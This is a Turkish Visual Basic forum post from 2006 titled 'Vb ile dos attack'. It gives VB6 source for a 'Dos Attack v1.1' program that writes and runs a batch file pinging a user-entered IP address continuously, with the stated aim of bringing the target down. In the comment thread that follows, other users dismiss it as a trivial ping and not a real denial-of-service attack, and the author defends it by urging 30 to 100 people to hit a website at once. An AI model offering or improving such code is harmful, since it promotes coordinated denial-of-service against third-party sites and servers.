Favorilerine Ekle | Giriş Sayfan Yap | Tavsiye Et

 

Kurs Tanıtım Sayfası | Süper Üye Kimdir? | Menü Tasarımı Konulu Örnek Ders
Kod İndir| Hazır Kodlar | Makaleler| İpuçları | VB .NET Kursu | Dersler | Forum | Alt Bölümler | Servisler
    Merhaba Misafir
    anasayfa » visual basic hazır kodlar » Vb ile dos attack
Üye Girişi
Kullanıcı Adı:  
Şifre : 
Kaydet ?
Siteden tam olarak faydalanabilmek için üye olmalısınız.
Unuttuğunuz şifrenizi öğrenebilmek için kayıt sırasında verdiğiniz Hatırlatma Cevabı'nı bilmeniz gereklidir.
Şifre hatırlatma işlevini sadece 3 defa kullanma hakkınız vardır.
Kullanıcı adını ve şifresini unutan üyelere email ile yardım verilmez.

Aktivasyon Gelmedi mi?Aktivasyon mesajınız email adresinize gelmedi mi?
Buraya tıklayarak bir kez daha aktivasyon mesajı gönderilmesini sağlayabilirsiniz.
Lütfen email hesabınızın BULK ve SPAM klasörlerini de kontrol ediniz.
Rastgele Makale

Farklı Arayüz Türleri

Yazar: Webmaster

Webmasterlar
Sitenize Ekleyin!
Sitenizde "Son Eklenen 10 Visual Basic Yazısı"'nı göstermek ve içeriğini zenginleştirmek için buraya tıklayınız.

Vbasicmaster.com'a link verin!
Aşağıdaki minik banneri sitenize eklemek için tıklayın!

Üye Sayısı:
Ziyaretçiler nerede?
Yayın № : 7542
Yayın Tar:21.08.2006
Yazar : cjay
Hit :4887

Bu Yazarın Yazıları Sadece bu yazarın örnek kod göster
Bu Yazıyı Tavsiye Et

Visual basic ile dos atak yapabilirisiniz.tabi bunu direk dostan da yapabilirisiniz ama maksat program yazmak diyorsanız benim gibi bo kodlar işinizi görebilir .bu kodları daha da geliştirerek daha iyi bi program yazmak sizin elinizde.(Mesala döngü koyarak istediğiniz oranda atakla işlemini yaptırabilirsiniz)

Amaç:Ping atılan makina kapanıncaya kadar ping atmak.

PROGRAM İÇİN GEREKLİ MALZEMELER;
1 Adet winshock nesnesi(İnternet bağlantısını kontol etmek içIn)
1 Adet textbox nesnesi(ping adersini girmek içiin)
1 Adet commandbuton(komut vermek içIn)

Option Explicit

Private Sub Command1_Click()
atakla
End Sub

Private Sub Command3_Click()
Form1.Height = 3360

End Sub

Private Sub Form_Load()
Text1.Text=""'Textimizi boşaltıyoruz
Text1.MaxLength=15 'İp Adresici içIn maximum 15 karakter girilmesini sağlıyoruz
If OnTheNet Then'İnternet bağlantısını KOntrol ettiyoruz
Form1.Caption = "Dos Attack v1.1"
Else
Form1.Caption = "İnternet Bağlantısı Yok...!"
End If

End Sub

'İnternet bağlantısını Kontrol içIn fonksiyon
Private Function OnTheNet() As Boolean
Winsock1.Close
Winsock1.Bind
If Winsock1.LocalIP = "" Then
OnTheNet = False
Else
OnTheNet = True
End If
End Function

'Textbox nesnesine sadece rakamlar ve nokta girilebilir kuralını koyuyoruz
Sub Text1_KeyPress(KeyAscii As Integer)
Dim N$
N = "0123456789."
If KeyAscii <> 8 Then
If InStr(N, Chr(KeyAscii)) = 0 Then
Beep
KeyAscii = 0
Exit Sub
End If
End If
End Sub

'oluşturduğumuz atakla fonksiyonu yaptığı işlem;
'Exe dosyanın bulunduğu yere atakla adında bat dosyası oluşturuyor
'Programımızdan aldığı ip adresini ana makina kapanıncaya kadar işletiyor

Sub atakla()
Dim a, b, c, d, e As Integer

a = "attack.bat"
b = "ping"
c = Text1.Text
d = " -t"

Open a For Output As #1
Print #1, b, c + d
Close #1
Shell ("attack.bat")
End Sub
'Bu kadar Yorumlanızı bekliyorum

'*******************************************
'Asiller İDARE Acizler ŞİKAYET Basitler ise İFTİRA eder.
'*******************************************
onaylayan: Webmaster




Yorumlar, eklemeler ve düşünceler
        Bu DOS (Denial Of Service) saldırısı olmamış, DOS (Disk Operating System) kullanarak ping atmak olmuş:]

   clairvoyant, 22.08.2006 08:04
   Ben zaten makalemde belittim eğer okumadan cavap yazdıysan bu gerçekten komik olur.benim makalemdeki kastım attack(saldırı demek) yapılması yani bir sitenin ip adresini biliyorsundur buraya 30-40 kişi toplanırsın sürekli ping atarsın komutun sonunada -t koyarsın
ana makina kapnıncaya kadar ping atar ana makina belirli bi müddet sonra senin isteklerine cevap veremez duruma gelmez.BU attack değildir de nedir ?

   cjay, 22.08.2006 17:14
   Sen bunun DOS saldırısı olduunu mu sanıosun? Karşı makinaya eğer zarar bi zararın dokunuosa -ki hiç sanmıorum-, aynı ölçüde kendi makinana da zararın dokunuo. DOS saldırısının temel ilkesi -benim bildiim kadarıyla- karşı makineden gelen dataya aldırmadan sürekli data yollamak. Senin dahiyane programında böle bi özellik göremedim.

   clairvoyant, 23.08.2006 15:21
   bu programı aynı anda 100 kişi kullanrak aynı saatte bi web sitesine saldırdığı zaman o zman bak gör bu program ne işe yarıyor sen yazımı hiç okumadan yorum yapıyorsun bunları artık eleştiri değil art niyet olarak değerlendiriyorum.ben burada insanlarla bilgimi paylaşıyorum.program içinde bir hata varmı söle.paylaş bisimle.madem dos attack için ben bi program yasamamışım sen yasda yanlışımızı görelim.

   cjay, 23.08.2006 18:20
   bence cjay haklı. clairvoyant senin özür dilemen gerekir.arkadaş bisimle bilgisini paylaşmış sen dalga geçer gibi eleştiri sınırlarını aşıyosun.

   fener, 23.08.2006 18:26
   Kimseden özür dilemeye niyetim yok. Sizin "bilgi" den ne anladığınızı tam olarak anlamadım ama burda arkadaşımız kulağını tersten tutup DOS un ping komutunu kullanan bi vb programı yazmış. Ben sana API kullanarak ping atan bi kod yazabilirim, bu daha makul olur. Ama buna DOS saldırısı yapan kod demem. "Yorumlarınızı bekliyorum" demişsin,ben de kendi çapımda bi yorum yaptım. Bunu kaldıramıosan üzgünüm, ama bu kod çok "lame".

   clairvoyant, 23.08.2006 22:05
   pekala burada laf dalaşına girmek nietinde deilim sen benim söylediklerime hiç aldırmıyorsun.ben sana farlı şeylerden bahsediyorum ama sen bunları kendine saldırı olarak değerlendiriyorsun.Eğer benim bi hatam varsa senden özür diliyorum.gerisini üyelerimize bırakıyorum ve senden de rica ediyorum bu kodu gönder.ve bilgini paykaş bizde sana teşekkürlerimizi iletelim yoksa burada dalaşmakla kimsenin kimseye faydası bulunmaz

   cjay, 25.08.2006 01:14
   cjay sölediklerine katılıyorum burası bilginin paylaşıldığı bi ortam ve burda dalaşma olmamalı.ama başkasının yasdığına eleştiri deilde kabaca cevaplar vermek bu siteye yakışmıyor.Öpüşün barışın :)

   fener, 25.08.2006 01:21
   yorum yazacaksan bunu birini kırarak değil,
içetinlikle yapmalısın.

arkadaş burda emek vermiş bir makale yapmış iyi yada kötü o tartışılır.
ama sonuçta ortaya bir ürün koymuş. bu tartışılamaz.
senin işine yaramıyor olabilir. ama bilki birçok kişinin işine yarayacaktır.

kendini bilmiş tavırlarla ortalıkta dolaşacağına, git biraz makale yazda
emeğe saygılı ol tamam mı...



   telefen117, 21.10.2006 23:13
   kendisi ürün koymuyor ortaya, koyanada
mani oluyor. tek taraflı düşünce!

kendinin mükemmel olduğunu sanıyosun dimi

   telefen117, 21.10.2006 23:15
   olmamış

   archon, 09.08.2007 16:20
   ms-dos attack kategorisine alınabilir

   archon, 09.08.2007 16:21
© Hakan Ersöz 2000-2013| Üyelik Sözleşmesi | | Ödeme Bildirimi
Sitemizden yenilikleri hemen öğrenin, pop upları engelleyin, chat yapın... ToolBarımızı indirin:
Vasicmaster Toolbar'ı indirin